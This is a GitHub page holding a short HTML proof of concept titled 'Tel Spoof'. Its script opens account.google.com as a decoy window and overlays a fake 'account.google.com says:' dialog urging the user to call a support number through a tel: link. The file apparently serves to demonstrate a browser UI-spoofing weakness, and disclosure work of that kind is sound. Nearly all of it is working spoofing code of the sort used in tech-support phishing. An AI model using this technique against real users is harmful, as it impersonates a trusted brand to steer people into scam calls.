test/tel.html at main · onydose/test · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PoC - Tel Spoof</title>
    <style>
        body {
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
            background: #f0f0f0;
            text-align: center;
        }
        button {
            display: inline-block;
            padding: 15px 30px;
            background: #ff4444;
            color: white;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 50px;
            border: none;
        }
        button:hover { background: #cc0000; }
        #status {
            margin-top: 20px;
            color: #333;
            font-size: 24px;
            font-weight: bold;
        }
        .hidden {
            display: none;
        }
    </style>
</head>
<body>
    <h2>Click to Trigger Spoofed Tel Prompt</h2>
    <button id="triggerBtn">Spoof Tel Prompt</button>
    <div id="status"></div>

    <script>
        document.getElementById('triggerBtn').onclick = () => {
            // Step 1: Open a legit domain in a new window (decoy)
            const w = window.open('https://account.google.com/');
            if (!w) {
                document.getElementById('status').innerHTML = 'Popup blocked.';
                return;
            }

            // Step 2: Create hidden overlay or iframe that shows spoofed "Call Support" UI
            const overlay = document.createElement('div');
            overlay.innerHTML = `
                <div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: rgba(0,0,0,0.7); display: flex; justify-content: center; align-items: center; z-index: 999999;">
                    <div style="background: white; padding: 30px; border-radius: 10px; text-align: center; max-width: 90%;">
                        <h3>account.google.com says:</h3>
                        <p>Click below to contact support at +123232</p>
                        <a href="tel:+123232" style="display: inline-block; padding: 12px 24px; background: #4285f4; color: white; text-decoration: none; border-radius: 5px;">Call Now</a>
                    </div>
                </div>
            `;
            document.body.appendChild(overlay);

            // Update status
            document.getElementById('status').innerHTML = 'Spoofed UI displayed';

            // Auto-close after a while
            setTimeout(() => {
                if (overlay.parentNode) document.body.removeChild(overlay);
                if (w && !w.closed) w.close();
            }, 10000); // Tutup setelah 10 detik
        };
    </script>
</body>
</html>